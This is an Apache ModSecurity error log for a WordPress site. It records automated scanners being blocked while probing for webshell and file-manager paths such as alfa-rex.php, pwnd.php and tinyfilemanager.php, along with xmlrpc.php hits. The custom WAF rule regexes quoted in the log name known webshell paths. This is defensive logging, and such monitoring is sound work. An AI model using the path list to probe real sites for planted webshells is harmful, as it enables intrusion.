[Sun Apr 05 23:21:24.297217 2026] [:error] [pid 45303:tid 45329] [client 51.103.148.24:1867] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ99LboQ9eViZ4hdnmLTQAAAAw"]
[Sun Apr 05 23:21:24.763372 2026] [:error] [pid 30921:tid 30933] [client 51.103.148.24:1931] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "adJ99GFGQVn8Q0ueB25XsQAAAQo"]
[Sun Apr 05 23:21:24.909369 2026] [:error] [pid 30921:tid 30925] [client 51.103.148.24:1833] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ99GFGQVn8Q0ueB25XsgAAAQI"]
[Sun Apr 05 23:21:25.540027 2026] [:error] [pid 30921:tid 30934] [client 51.103.148.24:1958] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "adJ99WFGQVn8Q0ueB25XuwAAAQs"]
[Sun Apr 05 23:21:25.543742 2026] [:error] [pid 30921:tid 30936] [client 51.103.148.24:1881] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ99WFGQVn8Q0ueB25XvAAAAQ0"]
[Sun Apr 05 23:21:26.300285 2026] [:error] [pid 30921:tid 30933] [client 51.103.148.24:1908] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "adJ99mFGQVn8Q0ueB25XwwAAAQo"]
[Sun Apr 05 23:21:26.462693 2026] [:error] [pid 45304:tid 45359] [client 51.103.148.24:1953] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "adJ99g5jnqDKKovdRklD6gAAAE8"]
[Sun Apr 05 23:21:27.240724 2026] [:error] [pid 45304:tid 45362] [client 51.103.148.24:1901] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/alfa-rex.php"] [unique_id "adJ99w5jnqDKKovdRklD7gAAAFI"]
[Sun Apr 05 23:21:27.738102 2026] [:error] [pid 45409:tid 45413] [client 51.103.148.24:1856] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ999Ht_Oyw03gjCNhxtgAAAMI"]
[Sun Apr 05 23:21:28.566616 2026] [:error] [pid 45305:tid 45388] [client 51.103.148.24:1812] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ9-OjDQjr7aWhjflCOYgAAAJE"]
[Sun Apr 05 23:21:28.693146 2026] [:error] [pid 45304:tid 45352] [client 51.103.148.24:1960] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adJ9-A5jnqDKKovdRklD9AAAAEg"]
[Sun Apr 05 23:21:29.434604 2026] [:error] [pid 45409:tid 45433] [client 51.103.148.24:1905] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ9-dHt_Oyw03gjCNhxwwAAANY"]
[Sun Apr 05 23:21:29.507645 2026] [:error] [pid 45409:tid 45412] [client 51.103.148.24:1908] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ9-dHt_Oyw03gjCNhxxAAAAME"]
[Sun Apr 05 23:21:30.107450 2026] [:error] [pid 45409:tid 45411] [client 51.103.148.24:2017] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ9-tHt_Oyw03gjCNhxzQAAAMA"]
[Sun Apr 05 23:21:30.141663 2026] [:error] [pid 45409:tid 45435] [client 51.103.148.24:1876] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors.php"] [unique_id "adJ9-tHt_Oyw03gjCNhxzgAAANg"]
[Sun Apr 05 23:21:31.270453 2026] [:error] [pid 45304:tid 45364] [client 51.103.148.24:1916] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ9-w5jnqDKKovdRklEDQAAAFQ"]
[Sun Apr 05 23:21:31.382592 2026] [:error] [pid 45409:tid 45427] [client 51.103.148.24:1804] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adJ9-9Ht_Oyw03gjCNhx1gAAANA"]
[Sun Apr 05 23:21:32.549110 2026] [:error] [pid 45409:tid 45429] [client 51.103.148.24:1902] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ9_NHt_Oyw03gjCNhx3QAAANI"]
[Sun Apr 05 23:21:32.681801 2026] [:error] [pid 45304:tid 45346] [client 51.103.148.24:1847] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ9_A5jnqDKKovdRklEFQAAAEI"]
[Sun Apr 05 23:21:34.483741 2026] [:error] [pid 45409:tid 45433] [client 51.103.148.24:1892] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ9_tHt_Oyw03gjCNhx7wAAANY"]
[Sun Apr 05 23:21:34.663756 2026] [:error] [pid 45409:tid 45430] [client 51.103.148.24:1885] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ9_tHt_Oyw03gjCNhx8QAAANM"]
[Sun Apr 05 23:21:37.169864 2026] [:error] [pid 45304:tid 45355] [client 51.103.148.24:1794] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-AQ5jnqDKKovdRklELQAAAEs"]
[Sun Apr 05 23:21:37.607533 2026] [:error] [pid 45303:tid 45331] [client 51.103.148.24:1807] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ-AbboQ9eViZ4hdnmLbwAAAA4"]
[Sun Apr 05 23:21:38.482186 2026] [:error] [pid 45303:tid 45328] [client 51.103.148.24:1978] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-ArboQ9eViZ4hdnmLdgAAAAs"]
[Sun Apr 05 23:21:39.105899 2026] [:error] [pid 30921:tid 30926] [client 51.103.148.24:1970] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "adJ-A2FGQVn8Q0ueB25X6AAAAQM"]
[Sun Apr 05 23:21:41.225807 2026] [:error] [pid 45409:tid 45431] [client 51.103.148.24:1873] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "adJ-BdHt_Oyw03gjCNhyAgAAANQ"]
[Sun Apr 05 23:21:41.546332 2026] [:error] [pid 45409:tid 45411] [client 51.103.148.24:2026] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-BdHt_Oyw03gjCNhyBQAAAMA"]
[Sun Apr 05 23:21:41.983568 2026] [:error] [pid 45409:tid 45412] [client 51.103.148.24:1900] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/alfa-rex.php"] [unique_id "adJ-BdHt_Oyw03gjCNhyCQAAAME"]
[Sun Apr 05 23:21:43.649113 2026] [:error] [pid 45305:tid 45385] [client 51.103.148.24:1899] [client 51.103.148.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adJ-B-jDQjr7aWhjflCOdAAAAI4"]
[Sun Apr 05 23:21:45.088867 2026] [:error] [pid 45409:tid 45434] [client 51.103.148.24:1909] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ-CdHt_Oyw03gjCNhyJwAAANc"]
[Sun Apr 05 23:21:46.437494 2026] [:error] [pid 45303:tid 45333] [client 51.103.148.24:1828] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ-CrboQ9eViZ4hdnmLjQAAABA"]
[Sun Apr 05 23:21:47.682806 2026] [:error] [pid 45303:tid 45326] [client 51.103.148.24:1811] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ-C7boQ9eViZ4hdnmLlAAAAAk"]
[Sun Apr 05 23:21:48.278443 2026] [:error] [pid 45304:tid 45354] [client 51.103.148.24:1806] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adJ-DA5jnqDKKovdRklEPQAAAEo"]
[Sun Apr 05 23:21:49.259403 2026] [:error] [pid 45305:tid 45382] [client 51.103.148.24:1915] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-DejDQjr7aWhjflCOfwAAAIs"]
[Sun Apr 05 23:21:50.033251 2026] [:error] [pid 45409:tid 45422] [client 51.103.148.24:1921] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-DtHt_Oyw03gjCNhySgAAAMs"]
[Sun Apr 05 23:21:50.877865 2026] [:error] [pid 45409:tid 45431] [client 51.103.148.24:1910] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-DtHt_Oyw03gjCNhyUAAAANQ"]
[Sun Apr 05 23:21:53.294182 2026] [:error] [pid 45304:tid 45351] [client 51.103.148.24:1796] [client 51.103.148.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/autoload_classmap.php"] [unique_id "adJ-EQ5jnqDKKovdRklESwAAAEc"]
[Mon Apr 06 01:02:29.041423 2026] [:error] [pid 51753:tid 51827] [client 149.102.93.227:51931] [client 149.102.93.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.93.227, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adKVpa3pmp1JkaicYbthCAAAARA"]
[Mon Apr 06 01:02:29.053285 2026] [proxy_fcgi:error] [pid 51753:tid 51827] [client 149.102.93.227:51931] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 01:33:17.448429 2026] [:error] [pid 51753:tid 51821] [client 39.44.159.50:63052] [client 39.44.159.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.44.159.50, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adKc3a3pmp1JkaicYbuBJwAAAQo"]
[Mon Apr 06 01:33:17.464262 2026] [proxy_fcgi:error] [pid 51753:tid 51821] [client 39.44.159.50:63052] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 03:34:14.879445 2026] [:error] [pid 35686:tid 35698] [client 78.109.71.149:62726] [client 78.109.71.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.71.149, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adK5NsMKdea6oORd2fwH7QAAAAI"]
[Mon Apr 06 03:34:14.892328 2026] [proxy_fcgi:error] [pid 35686:tid 35698] [client 78.109.71.149:62726] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 07:42:05.638957 2026] [:error] [pid 35786:tid 35812] [client 74.56.244.59:50936] [client 74.56.244.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.56.244.59, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adLzTWgkfCKTaLhwaKRc5AAAANM"]
[Mon Apr 06 07:42:05.655096 2026] [proxy_fcgi:error] [pid 35786:tid 35812] [client 74.56.244.59:50936] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 12:44:21.895842 2026] [:error] [pid 9442:tid 9453] [client 140.245.43.46:57766] [client 140.245.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "adM6JUPsNnAJTnmz6sbRrQAAAQk"]
[Mon Apr 06 14:30:16.064696 2026] [:error] [pid 35688:tid 35771] [client 97.102.160.39:50922] [client 97.102.160.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.102.160.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adNS-OZ85qg4jLsRpQwvPAAAAJU"]
[Mon Apr 06 14:30:16.076361 2026] [proxy_fcgi:error] [pid 35688:tid 35771] [client 97.102.160.39:50922] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:53.514028 2026] [proxy_fcgi:error] [pid 38562:tid 38585] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:53.940559 2026] [proxy_fcgi:error] [pid 38562:tid 38569] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:54.360463 2026] [proxy_fcgi:error] [pid 38562:tid 38574] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:54.781729 2026] [proxy_fcgi:error] [pid 38562:tid 38568] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:55.210491 2026] [proxy_fcgi:error] [pid 38562:tid 38581] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:55.632582 2026] [proxy_fcgi:error] [pid 38562:tid 38584] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:56.054309 2026] [proxy_fcgi:error] [pid 38562:tid 38577] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:56.475405 2026] [proxy_fcgi:error] [pid 38562:tid 38583] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:56.900547 2026] [proxy_fcgi:error] [pid 38562:tid 38588] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:57.321329 2026] [proxy_fcgi:error] [pid 38562:tid 38570] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:58.162665 2026] [proxy_fcgi:error] [pid 38562:tid 38569] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:58.583246 2026] [proxy_fcgi:error] [pid 38562:tid 38571] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:59.011369 2026] [proxy_fcgi:error] [pid 38562:tid 38578] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:21:59.432232 2026] [proxy_fcgi:error] [pid 38562:tid 38568] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:00.335403 2026] [proxy_fcgi:error] [pid 38562:tid 38565] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:00.755204 2026] [proxy_fcgi:error] [pid 38562:tid 38573] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:01.188360 2026] [proxy_fcgi:error] [pid 38562:tid 38577] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:01.621966 2026] [proxy_fcgi:error] [pid 38562:tid 38580] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:02.046332 2026] [proxy_fcgi:error] [pid 38562:tid 38572] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:02.467952 2026] [proxy_fcgi:error] [pid 38562:tid 38583] [client 62.197.144.85:36126] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:08.393394 2026] [:error] [pid 38562:tid 38588] [client 62.197.144.85:36126] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adOXYKeD6Ohe6wzRuy5wbQAAAVc"]
[Mon Apr 06 19:22:10.529858 2026] [:error] [pid 9442:tid 9467] [client 62.197.144.85:53312] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adOXYkPsNnAJTnmz6sabWgAAARc"]
[Mon Apr 06 19:22:12.587716 2026] [proxy_fcgi:error] [pid 9442:tid 9464] [client 62.197.144.85:53326] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:14.241686 2026] [:error] [pid 9442:tid 9457] [client 62.197.144.85:53326] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adOXZkPsNnAJTnmz6sabnwAAAQ0"]
[Mon Apr 06 19:22:15.501871 2026] [proxy_fcgi:error] [pid 10280:tid 10303] [client 62.197.144.85:53354] AH01071: Got error 'Primary script unknown'
